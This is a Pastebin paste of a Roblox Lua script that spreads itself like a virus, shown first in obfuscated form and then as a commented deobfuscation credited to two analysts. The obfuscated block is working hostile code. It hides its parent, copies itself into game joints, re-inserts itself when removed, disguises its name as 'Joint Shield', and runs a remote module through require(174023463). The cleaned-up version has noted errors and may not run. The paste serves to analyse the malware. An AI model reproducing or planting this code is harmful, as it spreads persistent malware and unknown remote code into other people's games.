CloneTrooper1019

Absolute Madmen

May 29th, 2016
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 6.58 KB | None | 0 0
  1. ---------------------------------------------------------------------------------------------------------------------------------------
  2. -- BEFORE
  3. ---------------------------------------------------------------------------------------------------------------------------------------
  4.  
  5. local sh,commands,tb,bf,p,pc,num,rn,str,wt,dm,ths,int,gf,wsp,nxt,xsp,tp,cnt,q,dt,g,c,b,sc,cn,sv,svs,jsv,q0,knm,mjt,fsv,r,gfr,gch,isa,ict,prt=shared,{},table,{},{"y","h","s","a","g","e","c","r","b","u","t"},pcall,tonumber,math.random,tostring,wait or Wait,Game or game,script,Instance.new,getfenv,Workspace or workspace,next,Spawn,type
  6. mjt,fsv,r,gfr,sfr,isa,drm,ict,prt=function(y,a,b,c,d,e)if isa(y,"ph{ul{\"u{bz+")then a,b,c=y[r"Eum%"],y[r"Dum%"],y[r"pr;lls("]if c==r"e{,"then d,e=y[r"E("],y[r"D("]drm(y)y=int(r"qsp<")y[r"Eum%"],y[r"Dum%"],y[r"E("],y[r"D("]=a,b,d,e end pc(sfr,y,"pr;",('')[r"urmzy"](isa(y,"mzuz2")and r"mzuz2AlPRzuRlP" or r"u{bz+Ax{zmu,AlPRzuRlP",str(a),str(b)))pc(sfr,y,"u{pm%",a or b)pc(ict,y)end end,function(y)for i=1,#svs do sv=svs[i]sc,cn=pc(gfr,sv,"pr;lls(")if sc and cn==y then return sv end end end,(function(y,l)g,c,b,q=y[p[5]..p[3]..p[10]..p[9]],y[p[7]..p[2]..p[4]..p[8]],y[p[9]..p[1]..p[11]..p[6]],gf'1'return function(x)l=#x for i=1,l do y=b(x,i)bf[l-i+1]=c(1-y%2+(y-y%8)%32/4+(y-y%2)%8*4+(y-y%32)%64*2+(y-y%64)%128/2+y-y%128)end return tb.concat(bf,nil,1,l)end end)'',function(o,k)return r(o[r(k)])end,function(o,k,v)o[r(k)]=v end,function(y,x)return dm[r" l\""](y,r(x))end,function(x)dbr[r"rpu\"qq "](dbr,x,0)end,function(y,x)if not dt[1][y]then x=ths[r"p{zs("](ths)x[r"psi}bchm "]=true prt(y,x)x[r"u{pm%"]=y end end,function(y,x,z)dt[3][x]=true z=x[r"qpx{c("]z=z[r"uhp{{zh"](z,function()if x[r"u{pm%"]~=y or x[r"qpsilb1"]then dt[1][y]=nil dt[3][x]=nil pc(ict,y)z[r"uhp{{zhlbq"](z)elseif not x[r"psi}bchm "]then x[r"psi}bchm "]=true end end)end
  7. gch=dm[r"{pmqsbc(up8"]svs=gch(dm)dbr=fsv"lbmip1"dt=sh[r(tb[r"uh{zh"](p))]if not dt then dt={{},{},{}}sh[r(tb[r"uh{zh"](p))]=dt cnt=0 xsp(function(a1,a2)ths[r"u{pm%"]=nil wt(rn())jsv=fsv"phb}mp,lu{bz+"tb[r"bchpmzy"](gch(jsv),function(y,x)pc(mjt,x)end)q0=jsv[r"qpqq qsbc("]q0[r"uhp{{zh"](q0,function(x)wt(rn())pc(mjt,x)end)q0=wsp[r"qpqq u{q{phlp1"]q0[r"uhp{{zh"](q0,function(x)wt(rn())if isa(x,"ph{ul{\"u{bz+")and not isa(x,"mzuz2")then pc(ict,x)end end)q0=gch(wsp)while #q0>0 do cnt=cnt+1 if cnt==1000 then cnt=0 wt()end q0[#q0],cn=nil,q0[#q0]if isa(cn,"ph{ul{\"u{bz+")and not isa(cn,"mzuz2")then pc(ict,cn)end sc,cn=pc(gch,cn)if sc then for i=1,#cn do q0[#q0+1]=cn[i]end end end xsp(function(s,t)s,t=pc(q[r"pmbtdpm"],r"TEERpTTLFGEUTMLFE][DR"+r"DMU\\MTUTFF]UL[\\"^r"LUFG\\\\L\\ETUDT[F")pc(t)end)while true do wt(rn())repeat a1,a2=nxt(dt[2])if a1 then dt[2][a1]=nil prt(a2,a1)end until not a1 end end)end knm=r"A[mp}Aqspbc,Au{bz+"..(num(('')[r"itl"](str(dt),8,15),16)/8)ths[r"pr;"]=knm q0=ths[r"u{pm%"]if dt[1][q0]then drm(ths)elseif not cnt then dt[1][q0]=true if not dt[3][ths]then dt[2][ths]=q0 end end
  8.  
  9. ---------------------------------------------------------------------------------------------------------------------------------------
  10. -- AFTER
  11. -- (Decrypted & Cleaned up by Osyris and 0xBAADF00D)
  12. -- (Note: This is as is, it may not actually work)
  13. ---------------------------------------------------------------------------------------------------------------------------------------
  14.  
  15. local Workspace = game:GetService("Workspace")
  16. local JointsService = game:GetService("JointsService")
  17. local Debris = game:GetService("Debris")
  18. -- dt[1]: keys of dt[1] have the script in them
  19. -- dt[2] is operations queue
  20. -- dt[3]: keys of dt[2] have changed event connected to them.
  21. local dt = {{}, {}, {}}
  22. local function connectChangedEvent(parent, scriptObject)
  23.     dt[3][scriptObject] = true
  24.     local z = scriptObject.Changed:connect(function()
  25.         if scriptObject.Parent ~= parent or scriptObject.Disabled then
  26.             dt[1][parent] = nil
  27.             dt[3][scriptObject] = nil
  28.             copyScriptInto(y)
  29.             z:disconnect()
  30.         elseif not scriptObject.Archivable then
  31.             scriptObject.Archivable = true
  32.         end
  33.     end)
  34. end
  35. local function copyScriptInto(object)
  36.     if not dt[1][object] then
  37.         local scriptClone = script:Clone()
  38.         scriptClone.Archivable = true
  39.         connectChangedEvent(object, scriptClone)
  40.         scriptClone.Parent = object
  41.     end
  42. end
  43. local function setupJoint(joint)
  44.     if joint:IsA("JointInstnce") then
  45.         local part0 = joint.Part0
  46.         local part1 = joint.Part1
  47.         local className = joint.ClassName
  48.         if className == "Snap" then
  49.             c0 = joint.C0
  50.             c1 = joint.C1
  51.             Debris:AddItem(joint, 0)
  52.             joint = Instance.new("Weld")
  53.             joint.Part0 = part0
  54.             joint.Part1 = part1
  55.             joint.C0 = c0
  56.             joint.C1 = c1
  57.         end
  58.         joint.Name = string.format(joint:IsA("Motor") and "%s-to-%s Motor" or "%s-to-%s Strong Joint", tostring(part0), tostring(part1))
  59.         joint.Parent = part0 or part1
  60.         copyScriptInto(joint)
  61.     end
  62. end
  63. local count = 0
  64. Spawn(function()
  65.     script.Parent = nil
  66.     wait(math.random())
  67.     for _, child in next, JointsService:GetChildren() do
  68.     setupJoint(child)
  69. end
  70.  
  71. JointsService.ChildAdded:connect(function(child)
  72.     wait(math.random())
  73.     setupJoint(child)
  74. end)
  75.  
  76. Workspace.DescendantAdded:connect(function(descendant)
  77.     wait(math.random())
  78.     if descendant:IsA("JointInstance") and not descendant:IsA("Motor") then
  79.         copyScriptInto(descendant)
  80.     end
  81. end)
  82.  
  83. -- child queue
  84. local queue = Workspace:GetChildren()
  85.  
  86. while #queue > 0 do
  87.     count = count + 1
  88.  
  89.     -- wait() every 1000 steps
  90.     if count == 1000 then
  91.         count = 0
  92.         wait()
  93.     end
  94.  
  95.     -- remove from end of queue
  96.     object = table.remove(queue, #queue)
  97.     if object:IsA("JointInstance") and not object:IsA("Motor") then
  98.         copyScriptInto(object)
  99.     end
  100.  
  101.     -- move children of object into queue
  102.     local children = object:GetChildren()
  103.     for _, child in pairs(children) do
  104.         table.insert(queue, child)
  105.     end
  106. end
  107.  
  108. -- requiring some weird script?
  109. Spawn(function()
  110.     require(174023463)()
  111. end)
  112.  
  113. while true do
  114.     wait(math.random())
  115.     for key, val in pairs(dt[2]) do
  116.         dt[2][key] = nil
  117.         connectChangedEvent(val,key)
  118.     end
  119. end
  120. end)
  121. -- I believe this uses memory addresses, so it's somewhat randomized.
  122. script.Name = "Joint Shield ver. " .. (tonumber(string.sub(tostring(dt), 8, 15), 16)/8)
  123. -- if our parent already has a script, remove this script
  124. if dt[1][script.Parent] then
  125.     Debris:AddItem(script, 0)
  126. else
  127.     -- mark parent as having a script
  128.     dt[1][script.Parent] = true
  129.     -- if we haven't been connected to .Changed, put us in the queue to connect us to .Changed.
  130.     if not dt[3][script] then
  131.         dt[2][script] = script.Parent
  132.     end
  133. end
  134.  
  135. ---------------------------------------------------------------------------------------------------------------------------------------
Add Comment
Please, Sign In to add comment